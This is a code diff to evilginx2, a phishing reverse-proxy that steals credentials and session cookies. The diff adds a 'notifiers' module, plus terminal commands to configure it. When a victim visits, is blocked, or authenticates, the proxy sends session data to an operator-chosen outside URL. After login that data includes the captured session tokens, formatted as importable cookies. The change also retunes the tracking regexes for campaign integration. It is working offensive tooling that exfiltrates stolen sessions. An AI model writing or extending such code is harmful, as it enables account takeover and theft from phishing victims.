diff --git a/evilginx2/core/http_proxy.go b/evilginx2/core/http_proxy.go index 55f5d71b..8bf88edf 100644 --- a/evilginx2/core/http_proxy.go +++ b/evilginx2/core/http_proxy.go @@ -171,8 +171,8 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da // Handle clicked link and email opened events rid := "" browser := map[string]string{} - ridr, _ := regexp.Compile(`client_id=([^\"]*)`) - trackr, _ := regexp.Compile(`track\?client_id=`) + ridr, _ := regexp.Compile(`id=([^\"]*)`) + trackr, _ := regexp.Compile(`track\?id=`) rid_match := ridr.FindString(req_url) opened_match := trackr.FindString(req_url) //log.Debug("Track regex", trackr.FindString(req_url)) @@ -288,6 +288,16 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da //p.whitelistIP(remote_addr, ps.SessionId) req_ok = true + for _, n := range p.cfg.notifiers { + if n.OnEvent == "visitor" && n.Enabled { + session, _ := p.db.GetSessionBySid(session.Id) + log.Info("[%d] [%s] forwarding visitor info to notifier url %s", sid, hiblue.Sprint(pl_name), n.Url) + err := NotifyOnVisitor(n, *session, req.URL) + if err != nil { + log.Error("notifier: %v", err) + } + } + } } } else { log.Warning("[%s] unauthorized request: %s (%s) [%s]", hiblue.Sprint(pl_name), req_url, req.Header.Get("User-Agent"), remote_addr) @@ -300,6 +310,16 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da log.Warning("blacklisted ip address: %s", from_ip) } } + + for _, n := range p.cfg.notifiers { + if n.OnEvent == "unauthorized" && n.Enabled { + log.Info("[%s] forwarding unauthorized request to notifier url %s", hiblue.Sprint(pl_name), n.Url) + err := NotifyOnUnauthorized(n, pl_name, req_url, req.Header.Get("User-Agent"), remote_addr) + if err != nil { + log.Error("notifier: %v", err) + } + } + } return p.blockRequest(req) } } else { @@ -747,7 +767,17 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da if err := p.db.SetSessionTokens(ps.SessionId, s.Tokens); err != nil { log.Error("database: %v", err) } - s.IsDone = true + for _, n := range p.cfg.notifiers { + if n.OnEvent == "authenticated" && n.Enabled { + session, _ := p.db.GetSessionBySid(ps.SessionId) + log.Info("[%d] forwarding captured session to notifier url %s", ps.Index, n.Url) + err := NotifyOnAuth(n, *session, pl) + if err != nil { + log.Error("notifier: %v", err) + } + } + } + s.IsDone = true } } } diff --git a/evilginx2/core/notifiers.go b/evilginx2/core/notifiers.go new file mode 100644 index 00000000..1cd15572 --- /dev/null +++ b/evilginx2/core/notifiers.go @@ -0,0 +1,116 @@ +package core + +import ( + "bytes" + "encoding/json" + "fmt" + "net/http" + "net/url" + "time" + + "github.com/kgretzky/evilginx2/database" +) + +type Unauthorized struct { + Phishlet string `json:"phishlet"` + Req_url string `json:"req_url"` + Useragent string `json:"useragent"` + Remote_addr string `json:"remote_addr"` +} + +type Visitor struct { + Session database.Session + Tokens string `json:"tokens"` +} + +// sets up a http.Request with correct Method. +func NotifyReturnReq(n *Notify, body interface{}) (req http.Request, err error) { + if n.Method == "GET" { + Body, _ := json.Marshal(body) + req, err := http.NewRequest(http.MethodGet, n.Url, bytes.NewBuffer(Body)) + + return *req, err + } + if n.Method == "POST" { + Body, _ := json.Marshal(body) + req, err := http.NewRequest(http.MethodPost, n.Url, bytes.NewBuffer(Body)) + + req.Header.Add("Content-Type", "application/json") + return *req, err + } + return req, err +} + +// configures and sends the http.Request +func NotifierSend(n *Notify, body interface{}) error { + req, err := NotifyReturnReq(n, body) + if err != nil { + return err + } + + if n.AuthHeaderName != "" && n.AuthHeaderValue != "" { + req.Header.Add(n.AuthHeaderName, n.AuthHeaderValue) + } + + if n.BasicAuthUser != "" && n.BasicAuthPassword != "" { + req.SetBasicAuth(n.BasicAuthUser, n.BasicAuthPassword) + } + + client := &http.Client{Timeout: 10 * time.Second} + _, errreq := client.Do(&req) + if errreq != nil { + return errreq + } + return nil +} + +// prepares the Body for unauthorized requests and triggers NotifierSend +func NotifyOnUnauthorized(n *Notify, pl_name string, Req_url string, useragent string, remote_addr string) error { + b := Unauthorized{ + Phishlet: pl_name, + Req_url: Req_url, + Useragent: useragent, + Remote_addr: remote_addr, + } + + err := NotifierSend(n, b) + if err != nil { + return err + } + return nil +} + +// prepares the Body for visitors and triggers NotifierSend +func NotifyOnVisitor(n *Notify, session database.Session, url *url.URL) error { + s := session + b := Visitor{ + Session: s, + } + + query := url.Query() + if n.ForwardParam != "" && query[n.ForwardParam] != nil { + n.Url = fmt.Sprintf("%s/?%s=%s", n.Url, n.ForwardParam, query[n.ForwardParam][0]) + } + + err := NotifierSend(n, b) + if err != nil { + return err + } + return nil +} + +// prepares the Body for authorized requests and triggers NotifierSend +func NotifyOnAuth(n *Notify, session database.Session, phishlet *Phishlet) error { + s := session + p := *phishlet + b := Visitor{ + Session: s, + Tokens: tokensToJSON(&p, s.Tokens), + } + + err := NotifierSend(n, b) + if err != nil { + return err + } + return nil +} diff --git a/evilginx2/core/terminal.go b/evilginx2/core/terminal.go index facb48cc..84188c4d 100644 --- a/evilginx2/core/terminal.go +++ b/evilginx2/core/terminal.go @@ -131,6 +131,12 @@ func (t *Terminal) DoWork() { if err != nil { log.Error("config: %v", err) } + case "notifiers": + cmd_ok = true + err := t.handleNotifiers(args[1:]) + if err != nil { + log.Error("notifiers: %v", err) + } case "proxy": cmd_ok = true err := t.handleProxy(args[1:]) @@ -391,7 +397,7 @@ func (t *Terminal) handleSessions(args []string) error { } if len(s.Tokens) > 0 { - json_tokens := t.tokensToJSON(pl, s.Tokens) + json_tokens := tokensToJSON(pl, s.Tokens) t.output("%s\n", json_tokens) } else { t.output("\n") @@ -576,6 +582,237 @@ func (t *Terminal) handlePhishlets(args []string) error { return fmt.Errorf("invalid syntax: %s", args) } +func (t *Terminal) handleNotifiers(args []string) error { + //hiblue := color.New(color.FgHiBlue) + //yellow := color.New(color.FgYellow) + //green := color.New(color.FgGreen) + //hiwhite := color.New(color.FgHiWhite) + //hcyan := color.New(color.FgHiCyan) + //cyan := color.New(color.FgCyan) + //dgray := color.New(color.FgHiBlack) + white := color.New(color.FgHiWhite) + + pn := len(args) + if pn == 0 { + // list all notifiers + t.output("%s", t.sprintNotifiers()) + return nil + } + if pn > 0 { + switch args[0] { + case "create": + if pn == 4 { + _, err := url.ParseRequestURI(args[3]) + if err != nil { + return fmt.Errorf("create: %v", err) + } + if t.cfg.IsValidNotifierOnEvent(args[1]) && t.cfg.IsValidNotifierMethod(args[2]) { + n := &Notify{ + OnEvent: args[1], + Url: args[3], + Method: args[2], + } + t.cfg.AddNotifier(args[1], n) + log.Info("created notifier with ID: %d", len(t.cfg.notifiers)-1) + log.Info("disabled notifier with ID: %d", len(t.cfg.notifiers)-1) + return nil + } + return fmt.Errorf("create: invalid on_event: %s. use 'authenticated', 'visitor' or 'unauthorized'", args[1]) + } + return fmt.Errorf("create: incorrect number of arguments. run 'help notifiers'") + case "edit": + n_id, err := strconv.Atoi(strings.TrimSpace(args[1])) + if err != nil { + return fmt.Errorf("edit: %v", err) + } + n, err := t.cfg.GetNotifier(n_id) + if err != nil { + return fmt.Errorf("edit: %v", err) + } + + do_update := false + if pn == 3 { + switch args[2] { + case "enable": + n.Enabled = true + do_update = true + log.Info("enabled = '%v'", n.Enabled) + case "disable": + n.Enabled = false + do_update = true + log.Info("enabled = '%v'", n.Enabled) + } + } + if pn == 4 { + val := args[3] + + switch args[2] { + case "on_event": + if val != "" { + val = strings.ToLower(val) + if !t.cfg.IsValidNotifierOnEvent(val) { + return fmt.Errorf("edit: notifier on_event is not valid. use 'authenticated', 'visitor' or 'unauthorized'") + } + n.OnEvent = val + } else { + n.OnEvent = "" + } + do_update = true + log.Info("on_event = '%s'", n.OnEvent) + case "url": + if val != "" { + _, err := url.ParseRequestURI(val) + if err != nil { + return err + } + n.Url = val + } else { + n.Url = "" + } + do_update = true + log.Info("url = '%s'", n.Url) + case "method": + if val != "" { + val = strings.ToUpper(val) + if !t.cfg.IsValidNotifierMethod(val) { + return fmt.Errorf("edit: notifier method is not valid. use 'POST' or 'GET'") + } + n.Method = val + } else { + n.Method = "" + } + do_update = true + log.Info("method = '%s'", n.Method) + case "auth_header_name": + if val != "" { + n.AuthHeaderName = val + } else { + n.AuthHeaderName = "" + } + do_update = true + log.Info("auth_header_name = '%s'", n.AuthHeaderName) + case "auth_header_value": + if val != "" { + n.AuthHeaderValue = val + } else { + n.AuthHeaderValue = "" + } + do_update = true + log.Info("auth_header_value = '%s'", n.AuthHeaderValue) + case "basic_auth_user": + if val != "" { + n.BasicAuthUser = val + } else { + n.BasicAuthUser = "" + } + do_update = true + log.Info("basic_auth_user = '%s'", n.BasicAuthUser) + case "basic_auth_password": + if val != "" { + n.BasicAuthPassword = val + } else { + n.BasicAuthPassword = "" + } + do_update = true + log.Info("basic_auth_password = '%s'", n.BasicAuthPassword) + case "forward_param": + if n.OnEvent == "visitor" { + if val != "" { + n.ForwardParam = val + } else { + n.ForwardParam = "" + } + do_update = true + log.Info("forward_param = '%s'", n.ForwardParam) + } else { + return fmt.Errorf("edit: ForwardParam is only implimented for the 'visitor' on_event") + } + } + } + if do_update { + err := t.cfg.SetNotifier(n_id, n) + if err != nil { + return fmt.Errorf("edit: %v", err) + } + return nil + } + return fmt.Errorf("edit: incorrect number of/or unknown arguments. run 'help notifiers'") + case "delete": + if pn == 2 { + if len(t.cfg.notifiers) == 0 { + break + } + if args[1] == "all" { + di := []int{} + for n, _ := range t.cfg.notifiers { + di = append(di, n) + } + if len(di) > 0 { + rdi := t.cfg.DeleteNotifier(di) + for _, id := range rdi { + log.Info("deleted notifier with ID: %d", id) + } + } + return nil + } else { + rc := strings.Split(args[1], ",") + di := []int{} + for _, pc := range rc { + pc = strings.TrimSpace(pc) + rd := strings.Split(pc, "-") + if len(rd) == 2 { + b_id, err := strconv.Atoi(strings.TrimSpace(rd[0])) + if err != nil { + return fmt.Errorf("delete: %v", err) + } + e_id, err := strconv.Atoi(strings.TrimSpace(rd[1])) + if err != nil { + return fmt.Errorf("delete: %v", err) + } + for i := b_id; i <= e_id; i++ { + di = append(di, i) + } + } else if len(rd) == 1 { + b_id, err := strconv.Atoi(strings.TrimSpace(rd[0])) + if err != nil { + return fmt.Errorf("delete: %v", err) + } + di = append(di, b_id) + } + } + if len(di) > 0 { + rdi := t.cfg.DeleteNotifier(di) + for _, id := range rdi { + log.Info("deleted lure with ID: %d", id) + } + } + return nil + } + } + return fmt.Errorf("incorrect number of arguments") + default: + n_id, err := strconv.Atoi(args[0]) + if err != nil { + return err + } + n, err := t.cfg.GetNotifier(n_id) + if err != nil { + return err + } + + keys := []string{"enabled", "on_event", "url", "method", "auth_header_name", "auth_header_value", "basic_auth_user", "basic_auth_password", "forward_param"} + vals := []string{white.Sprint(n.Enabled), white.Sprint(n.OnEvent), white.Sprint(n.Url), white.Sprint(n.Method), white.Sprint(n.AuthHeaderName), white.Sprint(n.AuthHeaderValue), white.Sprint(n.BasicAuthUser), white.Sprint(n.BasicAuthPassword), white.Sprint(n.ForwardParam)} + log.Printf("\n%s\n", AsRows(keys, vals)) + + return nil + } + } + return fmt.Errorf("invalid syntax: %s", args) +} + + + + func (t *Terminal) handleLures(args []string) error { hiblue := color.New(color.FgHiBlue) yellow := color.New(color.FgYellow) @@ -1003,6 +1240,38 @@ func (t *Terminal) createHelp() { h.AddSubCommand("sessions", []string{"delete"}, "delete ", "delete logged session with (ranges with separators are allowed e.g. 1-7,10-12,15-25)") h.AddSubCommand("sessions", []string{"delete", "all"}, "delete all", "delete all logged sessions") + h.AddCommand("notifiers", "general", "manage notifier configuration", "Configures notifier that pushes information about session on specifc events.", LAYER_TOP, + readline.PcItem("notifiers", + readline.PcItem("create", readline.PcItemDynamic(t.notifierValidOnEvents, readline.PcItemDynamic(t.notifierValidateMethods))), + readline.PcItem("edit", + readline.PcItemDynamic(t.notifierIdPrefixCompleter, + readline.PcItem("enable"), + readline.PcItem("disable"), + readline.PcItem("on_event", readline.PcItemDynamic(t.notifierValidOnEvents)), + readline.PcItem("method", readline.PcItemDynamic(t.notifierValidateMethods)), + readline.PcItem("url"), + readline.PcItem("auth_header_name"), + readline.PcItem("auth_header_value"), + readline.PcItem("basic_auth_user"), + readline.PcItem("basic_auth_password"), + readline.PcItem("forward_param"))), + readline.PcItem("delete", readline.PcItem("all")))) + h.AddSubCommand("notifiers", nil, "", "show all configuration variables") + h.AddSubCommand("notifiers", nil, "", "show details of a notifier with a given ") + h.AddSubCommand("notifiers", []string{"create"}, "create ", "creates new notifier for given that is send to using ") + h.AddSubCommand("notifiers", []string{"delete"}, "delete ", "deletes notifier with given ") + h.AddSubCommand("notifiers", []string{"delete", "all"}, "delete all", "deletes all created notifier") + h.AddSubCommand("notifiers", []string{"edit", "enable"}, "edit enable", "enables notifier with a given ") + h.AddSubCommand("notifiers", []string{"edit", "disable"}, "edit enable", "disables notifier with a given ") + h.AddSubCommand("notifiers", []string{"edit", "on_event"}, "edit on_event ", "sets the event for a notifier with a given ") + h.AddSubCommand("notifiers", []string{"edit", "url"}, "edit url ", "sets the url for a notifier with a given ") + h.AddSubCommand("notifiers", []string{"edit", "method"}, "edit method ", "sets the method for a notifier with a given ") + h.AddSubCommand("notifiers", []string{"edit", "auth_header_name"}, "edit auth_header_name ", "sets the auth_header_name for a notifier with a given ") + h.AddSubCommand("notifiers", []string{"edit", "auth_header_value"}, "edit auth_header_value ", "sets the auth_header_value for a notifier with a given ") + h.AddSubCommand("notifiers", []string{"edit", "basic_auth_user"}, "edit basic_auth_user ", "sets the basic_auth_user for a notifier with a given ") + h.AddSubCommand("notifiers", []string{"edit", "basic_auth_password"}, "edit basic_auth_password ", "sets the basic_auth_password for a notifier with a given ") + h.AddSubCommand("notifiers", []string{"edit", "forward_param"}, "edit forward_param ", "sets the forward_param for a notifier with a given ") + h.AddCommand("lures", "general", "manage lures for generation of phishing urls", "Shows all create lures and allows to edit or delete them.", LAYER_TOP, /* readline.PcItem("lures", readline.PcItem("create", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("get-url"), readline.PcItem("edit", readline.PcItem("hostname"), readline.PcItem("path"), readline.PcItem("redirect_url"), readline.PcItem("phishlet"), readline.PcItem("info"), readline.PcItem("og_title"), readline.PcItem("og_desc"), readline.PcItem("og_image"), readline.PcItem("og_url"), readline.PcItem("params"), readline.PcItem("template", readline.PcItemDynamic(t.emptyPrefixCompleter, readline.PcItemDynamic(t.templatesPrefixCompleter)))), @@ -1044,45 +1313,6 @@ func (t *Terminal) createHelp() { t.hlp = h } -func (t *Terminal) tokensToJSON(pl *Phishlet, tokens map[string]map[string]*database.Token) string { - type Cookie struct { - Path string `json:"path"` - Domain string `json:"domain"` - ExpirationDate int64 `json:"expirationDate"` - Value string `json:"value"` - Name string `json:"name"` - HttpOnly bool `json:"httpOnly,omitempty"` - HostOnly bool `json:"hostOnly,omitempty"` - } - - var cookies []*Cookie - for domain, tmap := range tokens { - for k, v := range tmap { - c := &Cookie{ - Path: v.Path, - Domain: domain, - ExpirationDate: time.Now().Add(365 * 24 * time.Hour).Unix(), - Value: v.Value, - Name: k, - HttpOnly: v.HttpOnly, - } - if domain[:1] == "." { - c.HostOnly = false - c.Domain = domain[1:] - } else { - c.HostOnly = true - } - if c.Path == "" { - c.Path = "/" - } - cookies = append(cookies, c) - } - } - - json, _ := json.Marshal(cookies) - return string(json) -} - func (t *Terminal) checkStatus() { if t.cfg.GetBaseDomain() == "" { log.Warning("server domain not set! type: config domain ") @@ -1181,6 +1411,24 @@ func (t *Terminal) sprintPhishletStatus(site string) string { return AsTable(cols, rows) } +func (t *Terminal) sprintNotifiers() string { + //higreen := color.New(color.FgHiGreen) + //green := color.New(color.FgGreen) + //hired := color.New(color.FgHiRed) + //hiblue := color.New(color.FgHiBlue) + //yellow := color.New(color.FgYellow) + //cyan := color.New(color.FgCyan) + //hcyan := color.New(color.FgHiCyan) + white := color.New(color.FgHiWhite) + //n := 0 + cols := []string{"id", "enabled", "on_event", "url", "method", "auth_header_name", "auth_header_value", "basic_auth_user", "basic_auth_password", "forward_param"} + var rows [][]string + for n, N := range t.cfg.notifiers { + rows = append(rows, []string{strconv.Itoa(n), white.Sprint(N.Enabled), white.Sprint(N.OnEvent), white.Sprint(N.Url), white.Sprint(N.Method), white.Sprint(N.AuthHeaderName), white.Sprint(N.AuthHeaderValue), white.Sprint(N.BasicAuthUser), white.Sprint(N.BasicAuthPassword), white.Sprint(N.ForwardParam)}) + } + return AsTable(cols, rows) +} + func (t *Terminal) sprintLures() string { higreen := color.New(color.FgHiGreen) green := color.New(color.FgGreen) @@ -1244,6 +1492,33 @@ func (t *Terminal) templatesPrefixCompleter(args string) []string { return ret } +func (t *Terminal) notifierIdPrefixCompleter(args string) []string { + var ret []string + for n, _ := range t.cfg.notifiers { + ret = append(ret, strconv.Itoa(n)) + } + return ret +} + +func (t *Terminal) notifierValidOnEvents(args string) []string { + var ret []string + on_events := []string{"authenticated", "visitor", "unauthorized"} + for _, e := range on_events { + ret = append(ret, e) + } + return ret +} + +func (t *Terminal) notifierValidateMethods(args string) []string { + var ret []string + on_events := []string{"GET", "POST"} + for _, e := range on_events { + ret = append(ret, e) + } + return ret +} + + func (t *Terminal) luresIdPrefixCompleter(args string) []string { var ret []string for n, _ := range t.cfg.lures { diff --git a/evilginx2/core/utils.go b/evilginx2/core/utils.go index 2228f2d1..c2732bcc 100644 --- a/evilginx2/core/utils.go +++ b/evilginx2/core/utils.go @@ -3,8 +3,12 @@ package core import ( "crypto/rand" "crypto/sha256" + "encoding/json" "fmt" "os" + "time" + + "github.com/kgretzky/evilginx2/database" ) func GenRandomToken() string { @@ -46,3 +50,42 @@ func CreateDir(path string, perm os.FileMode) error { } return nil } + +func tokensToJSON(pl *Phishlet, tokens map[string]map[string]*database.Token) string { + type Cookie struct { + Path string `json:"path"` + Domain string `json:"domain"` + ExpirationDate int64 `json:"expirationDate"` + Value string `json:"value"` + Name string `json:"name"` + HttpOnly bool `json:"httpOnly,omitempty"` + HostOnly bool `json:"hostOnly,omitempty"` + } + + var cookies []*Cookie + for domain, tmap := range tokens { + for k, v := range tmap { + c := &Cookie{ + Path: v.Path, + Domain: domain, + ExpirationDate: time.Now().Add(365 * 24 * time.Hour).Unix(), + Value: v.Value, + Name: k, + HttpOnly: v.HttpOnly, + } + if domain[:1] == "." { + c.HostOnly = false + c.Domain = domain[1:] + } else { + c.HostOnly = true + } + if c.Path == "" { + c.Path = "/" + } + cookies = append(cookies, c) + } + } + + json, _ := json.Marshal(cookies) + return string(json) +} diff --git a/evilginx2/database/database.go b/evilginx2/database/database.go index dc303d30..f0f043ee 100644 --- a/evilginx2/database/database.go +++ b/evilginx2/database/database.go @@ -159,7 +159,7 @@ func HandleEmailOpened (rid string, browser map[string]string, feed_enabled bool res := Result{} ed := EventDetails{} ed.Browser = browser - ed.Payload = map[string][]string{"client_id": []string{rid}} + ed.Payload = map[string][]string{"id": []string{rid}} res.Id = r.Id res.RId = r.RId res.UserId = r.UserId @@ -205,7 +205,7 @@ func HandleClickedLink (rid string, browser map[string]string, feed_enabled bool res := Result{} ed := EventDetails{} ed.Browser = browser - ed.Payload = map[string][]string{"client_id": []string{rid}} + ed.Payload = map[string][]string{"id": []string{rid}} res.Id = r.Id res.RId = r.RId res.UserId = r.UserId @@ -508,6 +508,14 @@ func (d *Database) DeleteSessionById(id int) error { return err } +func (d *Database) GetSessionBySid(sid string) (*Session, error) { + s, err := d.sessionsGetBySid(sid) + if err != nil { + return nil,err + } + return s, err +} + func (d *Database) Flush() { d.db.Shrink() }